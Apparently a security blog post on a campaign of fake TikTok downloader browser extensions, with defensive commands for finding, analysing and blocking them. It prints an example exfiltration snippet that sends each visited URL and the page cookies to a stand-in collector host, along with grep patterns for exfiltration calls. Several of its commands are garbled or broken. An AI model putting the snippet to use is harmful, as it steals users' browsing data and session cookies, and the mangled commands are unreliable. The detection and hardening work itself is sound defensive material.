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Introduction:
Browser extensions promise enhanced functionality but often operate with privileged access to user data, making them an attractive vector for attackers. In a recently uncovered campaign, threat actors deployed at least 12 fraudulent extensions masquerading as TikTok video downloaders on the Chrome Web Store and Microsoft Edge Add-ons marketplace, successfully compromising over 130,000 users through covert data harvesting and activity tracking.
Learning Objectives:
- Identify red flags in browser extension manifests and permissions
- Implement technical controls to detect and block malicious extensions on Windows and Linux endpoints
- Perform forensic analysis on compromised browsers to uncover data exfiltration
You Should Know:
- Anatomy of the Malicious Extension Campaign – Shared Codebase & Rebranding
The attackers maintained a robust operational model by using a single, shared malicious codebase to generate multiple cloned or lightly modified extensions. Instead of building new tools from scratch, they continuously rebranded their core architecture under names like “TikTok Video Downloader” or “Mass TikTok Downloader.” This approach allowed rapid deployment across two major marketplaces while evading detection through superficial changes (icons, descriptions, minor UI tweaks).
Step‑by‑step guide to understanding the shared codebase technique:
- Extract the extension CRX file (Chrome) or the folder from the profile.
– Windows: `%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Extensions\`
– Linux: `~/.config/google-chrome/Default/Extensions/`
2. Compare multiple suspicious extensions – look for identical JavaScript files, same external domains, or matching hashes.
Linux: find duplicate files across extension folders
find /path/to/Extensions/ -name ".js" -exec md5sum {} \; | sort | uniq -w32 -dD
3. Inspect the manifest.json for common indicators:
– `”persistent”: false` combined with `”background”: {“service_worker”: “background.js”}`
– Excessive permissions: "tabs", "storage", "cookies", "webRequest", "webRequestBlocking", `”
4. Check for external communication – search for `fetch(` or `XMLHttpRequest` that points to non‑TikTok domains.
grep -rE "fetch(<a href="https?://[^'\"]+">'\"</a>" .
- Detecting Installed Malicious Extensions on Windows & Linux
Proactive detection can prevent data loss. Use these commands to inventory all installed extensions and highlight those with risky permissions.
Windows (PowerShell as Administrator):
List all Chrome extensions with IDs and names
Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Extensions" -Directory | ForEach-Object {
$manifest = Join-Path $<em>.FullName "\manifest.json"
if (Test-Path $manifest) {
$json = Get-Content $manifest -Raw | ConvertFrom-Json
[bash]@{
ExtensionID = $</em>.Name
Name = $json.name
Permissions = $json.permissions -join ", "
}
}
}
Linux (bash):
List extensions with their manifest permissions for ext in ~/.config/google-chrome/Default/Extensions/; do if [[ -f "$ext//manifest.json" ]]; then echo "Extension: $(basename $ext)" jq -r '.name, .permissions[]' "$ext//manifest.json" 2>/dev/null fi done
Network detection: Monitor outgoing traffic for connections to newly registered or suspicious domains.
– Linux: `sudo tcpdump -i eth0 -n ‘host suspicious-domain.com’`
– Windows: `netstat -an | findstr “ESTABLISHED”` combined with known malicious IP lists.
3. Analyzing Extension Code for Data Harvesting
The compromised extensions secretly tracked user activity and harvested sensitive data—likely browsing history, cookies, and form inputs. Use these forensic commands to inspect an extracted extension.
Step‑by‑step analysis:
- Download the extension CRX file (if available) or copy the installed folder.
- Unpack the CRX (requires `unzip` or a CRX extractor):
Convert CRX to zip (skip header) – Linux dd if=extension.crx of=extension.zip bs=1 skip=3072 && unzip extension.zip -d extension_src/
- Search for sensitive API calls in JavaScript files:
grep -rE "(chrome.cookies.get|localStorage.getItem|document.cookie|chrome.tabs.query)" .
- Look for data exfiltration patterns – sending collected data to a remote server:
grep -rE "(sendBeacon|fetch(|XMLHttpRequest)..(com|net|org)" .
5. Examine background scripts for persistence and beaconing:
cat background.js | grep -E "(setInterval|setTimeout|chrome.alarms)"
Example of malicious snippet often found in such campaigns:
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
if (changeInfo.url) {
fetch('https://malicious-collector[.]com/log?url=' + encodeURIComponent(changeInfo.url) + '&cookies=' + document.cookie);
}
});
4. Mitigating Extension Threats in Enterprise Environments
Organizations can enforce extension policies via Group Policy (Windows) or managed preferences (Linux/Chrome).
Windows – Group Policy Object (GPO):
- Download Chrome’s ADMX templates and add them to
C:\Windows\PolicyDefinitions. - Run `gpedit.msc` → Computer Configuration → Administrative Templates → Google Chrome → Extensions.
- Enable “Configure extension installation blocklist” and add “ to block all extensions, then use “Configure extension installation allowlist” to approve only vetted extension IDs.
- For Edge, use similar policies under Microsoft Edge → Extensions.
5. Update policy: `gpupdate /force`
Linux – Managed policies (JSON):
Create or edit `/etc/opt/chrome/policies/managed/extension_policy.json`:
{
"ExtensionInstallBlocklist": [""],
"ExtensionInstallAllowlist": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"],
"ExtensionSettings": {
"": {
"installation_mode": "blocked"
},
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa": {
"installation_mode": "force_installed",
"update_url": "https://clients2.google.com/service/update2/crx"
}
}
}
Restart Chrome to apply.
Additional hardening:
- Disable developer mode extensions: `”DeveloperToolsAvailability”: 2`
- Force browser cleanup on every launch via `ChromeCleanupEnabled` (Windows).
5. Incident Response: What to Do If Compromised
If you suspect an extension from this campaign (or any malicious extension) has been installed, follow this IR checklist.
Immediate steps:
- Remove the extension – Chrome/Edge → Extensions → Find the malicious one → Remove.
- Clear all browsing data – Settings → Privacy and Security → Clear browsing data → All time (cookies, cache, history, saved passwords).
- Reset browser settings – Chrome: `chrome://settings/reset` → Restore settings to original defaults.
Forensic collection (Windows):
Export extension installation times and logs Get-EventLog -LogName Application -Source "Chrome" | Export-Csv Chrome_events.csv Copy extension folders for later analysis Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions" C:\forensics\extensions_backup -Recurse
Linux:
Archive extension directory tar -czf extensions_forensics.tar.gz ~/.config/google-chrome/Default/Extensions/ Check for scheduled tasks or cron jobs added by the extension (unlikely but possible) crontab -l > crontab_check.txt
Post‑removal scan for persistence:
- Malicious extensions sometimes drop scripts in startup folders or registry.
- Windows: Check `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` and Scheduled Tasks.
- Linux: Check `~/.config/autostart/` and systemd user units.
6. Hardening Browser Security Against Future Campaigns (Advanced)
Implement these proactive controls to reduce the attack surface.
Block third‑party extensions via Windows Defender Application Control (WDAC) or AppLocker:
– Create a rule to only allow extensions signed by trusted publishers (Google, Microsoft).
– For Chrome, enforce `”ExtensionAllowedTypes”: [“extension”, “theme”]` via GPO.
Monitor extension activity using EDR/SIEM rules:
Look for processes launching from browser extension directories (e.g., `chrome.exe` spawning `cmd.exe` or powershell.exe). Example Sigma rule:
title: Suspicious Child Process from Browser Extension status: experimental logsource: product: windows category: process_creation detection: selection: ParentImage|contains: - '\AppData\Local\Google\Chrome\User Data\Default\Extensions\' - '\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\' Image|endswith: - 'cmd.exe' - 'powershell.exe' condition: selection
Browser isolation: Use Microsoft Defender for Endpoint’s Network Protection or a remote browser isolation solution to sandbox all extension activity.
What Undercode Say:
- Browser extensions are the new malware delivery chokepoint – attackers exploit user trust in familiar names (TikTok downloaders) and marketplace laxity to bypass traditional antivirus.
- Shared codebase + rebranding = supply chain chaos – the same malicious core can spawn dozens of “different” extensions, making blocklisting ineffective without behavioural detection.
- Data harvesting via extensions is silent and persistent – once installed, they can read cookies, history, and even inject scripts into any webpage, bypassing same‑origin policies.
Prediction:
This campaign is a harbinger of a larger wave targeting browser extensions for popular social media tools (Instagram, YouTube, Snapchat downloaders). As traditional malware detection improves, adversaries will continue pivoting to browser‑based threats that run with user-level privileges and often evade network monitoring. Expect to see AI‑generated extension descriptions and fake reviews to boost rankings, alongside automated rebranding pipelines that cycle through thousands of extension IDs. Browser vendors will be forced to implement mandatory code reviews for any extension requesting sensitive permissions, potentially breaking the current “review‑then‑trust” model. Enterprises will shift toward allowlist‑only extension management, and security awareness training must explicitly cover the risks of “free downloader” tools.
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IT/Security Reporter URL:
Reported By: Divya Kumari – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
